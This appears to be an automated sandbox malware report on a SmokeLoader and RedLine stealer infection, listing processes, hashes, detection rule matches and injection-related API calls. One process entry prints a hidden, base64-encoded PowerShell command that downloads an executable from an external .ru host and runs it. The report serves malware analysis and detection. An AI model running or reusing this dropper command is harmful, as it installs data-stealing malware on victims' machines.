MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:10:22
Start date:	04/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:10:30
Start date:	04/10/2024
Path:	C:\Users\user\AppData\Local\Temp\oBuf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\oBuf.exe"
Imagebase:	0x400000
File size:	222'720 bytes
MD5 hash:	31059E7394B880F017E83804D9B716AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1659047327.000000000090D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:10:40
Start date:	04/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609fd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:11:00
Start date:	04/10/2024
Path:	C:\Users\user\AppData\Roaming\wbfgshs
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\wbfgshs
Imagebase:	0x400000
File size:	222'720 bytes
MD5 hash:	31059E7394B880F017E83804D9B716AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.1937502143.00000000007ED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.1937393700.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FF7C1460A4E Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1608490232.00007FF7C1460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a048f585bed63dc66490ecb16b37e362339eab38e6eec9cc3de248283f446183
Instruction ID: 3bb7d45b924fed962887c70807c0d7cdd223aa1c782d07f2c3a903ea2dc2fc9e
Opcode Fuzzy Hash: a048f585bed63dc66490ecb16b37e362339eab38e6eec9cc3de248283f446183
Instruction Fuzzy Hash: 90E128A190DBC54FE35AAB385C552B8BBE0EF53225B4802FED449C71D3D958AD06C362

Function 00007FF7C1460BB9 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1608490232.00007FF7C1460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f55ec3a81c59bd56774571e042acfffa0e4a9ae7fa831fec3461f572d0859c
Instruction ID: a516634f0e955bbc15b1b33a49babeed9ee0b4c25b668cf8ea695b378b5b4133
Opcode Fuzzy Hash: 85f55ec3a81c59bd56774571e042acfffa0e4a9ae7fa831fec3461f572d0859c
Instruction Fuzzy Hash: E92104A2F0EB4A0FE3A9AF2818551B8B2D1EF4123AB9801BAC00DC7597DD59ED458251

Function 00007FF7C13933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1608048171.00007FF7C1390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5379a3d0cc0fb09bd91c3ab90250569a57e3f174540120ef3e8124296d8366fc
Instruction ID: 551dfffefa41502465fafc7f307ba1f470a6a250eeb5820597d09e55abd2a2d6
Opcode Fuzzy Hash: 5379a3d0cc0fb09bd91c3ab90250569a57e3f174540120ef3e8124296d8366fc
Instruction Fuzzy Hash: E101A77020CB0C4FDB44EF0CE451AB6B3E0FB85364F10052DE58AC3651DA36E882CB41

Analysis Process: oBuf.exePID: 2180, Parent PID: 7248COMMON

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	19.9%
Signature Coverage:	49.4%
Total number of Nodes:	156
Total number of Limit Nodes:	6

Executed Functions

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418B8B
GetFocus.USER32 ref: 00418B91
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418B9E
FindAtomA.KERNEL32(00000000), ref: 00418BA5
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BBD
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418BC5
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BDD
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418C04
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C10
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418C26
GetEnvironmentStringsW.KERNEL32 ref: 00418C2C
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418C71
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00418C80
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00418C89
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C9E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00418CAF
SetCommState.KERNELBASE(00000000,00000000), ref: 00418CD8
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00418D09
GetComputerNameA.KERNEL32(?,?), ref: 00418D1D
CopyFileW.KERNEL32(0041A3AC,0041A380,00000000), ref: 00418D2E
GetFileAttributesA.KERNEL32(00000000), ref: 00418D35
GetConsoleAliasExesLengthW.KERNEL32 ref: 00418D3B
GetBinaryType.KERNEL32(0041A3C8,?), ref: 00418D4D
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00418D60
GetLongPathNameA.KERNEL32(0041A3E4,?,00000000), ref: 00418D73
PurgeComm.KERNEL32(00000000,00000000), ref: 00418D7B
LoadLibraryA.KERNELBASE(0041A3EC), ref: 00418DF2
MoveFileW.KERNEL32(00000000,00000000), ref: 00418E27
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418E4E

Strings

}$, xrefs: 00418E55
k`, xrefs: 00418E2D

Memory Dump Source

Source File: 00000005.00000002.1658546479.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_oBuf.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction ID: 0c0e40555d578e92a9f225f047ccd42c64e3c90cdaccad76b264c498dc6ec0a1
Opcode Fuzzy Hash: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction Fuzzy Hash: 9FB1A0B1901224ABCB219B65EC58EDF7B78EF49350F00816EF649A3150DB785EC4CFA9

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634

Strings

1, xrefs: 004014F1

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 1
API String ID: 1652636561-2212294583
Opcode ID: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction ID: 7f4d7c4657737381e02ab4131f106e217a3bc84f51a1891dc43a423f49ad99c1
Opcode Fuzzy Hash: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction Fuzzy Hash: 14718D71A00205FFEB209F91CC49FEF7BB8EF85B10F14412AF912BA2E5D6759905CA58

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction ID: 138ec7ca1e8744eb65f40bd9736a53a73cefe8eecd72c79945fcbf62a21b6401
Opcode Fuzzy Hash: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction Fuzzy Hash: D9616E71900205FBEB209F95DC49FEB7BB8FF81B00F14412AFA12BA1E4D6749A05DB65

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction ID: 46ca3ae5353e1b2bf85c7e7487c0bf4a09c0837efea8bedcf4105f5ea6450319
Opcode Fuzzy Hash: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction Fuzzy Hash: 81512971900245BFEF209F91CC48FEB7BB8EF85B00F14416AF912BA1A5D6749945CB24

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction ID: 68c08b8250816e380b35483fe5a52fcf5a4ffa7bf922b91d474b11e8be87ed95
Opcode Fuzzy Hash: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction Fuzzy Hash: 99512AB1900205BFEF209F95CC48FEB7BB8EF85B10F14412AFA12BA1E5D6749945CB24

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction ID: b5c9534ba5f5358dff2a074a80b826bd55324152c05987841a878028393b6fdb
Opcode Fuzzy Hash: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction Fuzzy Hash: 94513AB1900245BFEF209F95CC48FEF7BB8EF85B00F14415AF911BA2A5D6749945CB24

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction ID: 8d6641cc39e0a23de402a6cd7af9a8bcce9404ceaedab19c941a5a8b34b5f284
Opcode Fuzzy Hash: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction Fuzzy Hash: 8C5119B1900205BFEF209F95CC48FEFBBB8EF85B00F14411AFA11AA2A5D6759945CB24

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403122
NtTerminateProcess.NTDLL ref: 00403133

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction ID: 67905ead67b615cb9fd2ac39997d468ff33d28dd355ca5d175fe45067cf906e9
Opcode Fuzzy Hash: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction Fuzzy Hash: 8B414732618E0C4FD778EE6CA88966377D5E798351B1643AAD809D3389EE30D85183C5

Function 009106F7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0091071F
Module32First.KERNEL32(00000000,00000224), ref: 0091073F

Memory Dump Source

Source File: 00000005.00000002.1659047327.000000000090D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_90d000_oBuf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 4f606031f00bd0870efa08edb3ef0ad35fba653e565298d9ccb943b878db1aaa
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F6F06831300719ABD7203AB59C8DBAE76ECAF89724F100528E547D51C1DBB5FCC58A51

Function 006A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006A024D

Strings

cess, xrefs: 006A018D
kernel32.dll, xrefs: 006A008F, 006A0095

Memory Dump Source

Source File: 00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: edfa6b35737d46774f892f9e838a511c53124eeea6e349ba935a860513cbf214
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 0A526874A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB351DB30AE95DF14

Function 00418770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00513D70), ref: 0041884F
GetProcAddress.KERNEL32(00000000,0041E298), ref: 0041888C
VirtualProtect.KERNELBASE(00513BB4,00513D6C,00000040,?), ref: 004188AB

Strings

, xrefs: 004187B5

Memory Dump Source

Source File: 00000005.00000002.1658546479.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_oBuf.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction ID: 2b977b853b8716191c274d39b2deee1532fc6552ce3022b0d9a41b083186e0cb
Opcode Fuzzy Hash: ff9a43801e185d10054e4e34767694ffcb7e86b2b941098a4c4c71e4807009e3
Instruction Fuzzy Hash: D8316F18508780CAE301DB79FC257823F6AAB75744F04D0ACD54C8B3B1D7BA5618E36E

Function 006A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006A0223,?,?), ref: 006A0E19
SetErrorMode.KERNELBASE(00000000,?,?,006A0223,?,?), ref: 006A0E1E

Memory Dump Source

Source File: 00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a812bd8a4e5226da291cda7890492f087020d928e330f1a56def5d4e73e5cff5
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 90D0123114512877DB003A94DC09BCD7B1CDF09B62F008451FB0DD9180C770994046E5

Function 0040190E Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction ID: c3efed824753038ef125f202698f45fd900918c8f6410fb3a7b527937a7c5fc5
Opcode Fuzzy Hash: 2faec9f74094ce0f08c74674007c6dc18df4c3c5133ab61c0808bb95c55d4a7d
Instruction Fuzzy Hash: D811BFB220C204EBEB00AA908C52EAA3754AF05710F248137BA42791F1C57D9A13F75B

Function 009103B6 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00910407

Memory Dump Source

Source File: 00000005.00000002.1659047327.000000000090D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_90d000_oBuf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 97708d7941fada322b6c62d89240ef80cd7844bc97acf1356afaf31142ecfb70
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 58113F79A00208EFDB01DF98C985E98BBF5AF48751F058094F9489B361D371EA90DF90

Function 00401902 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
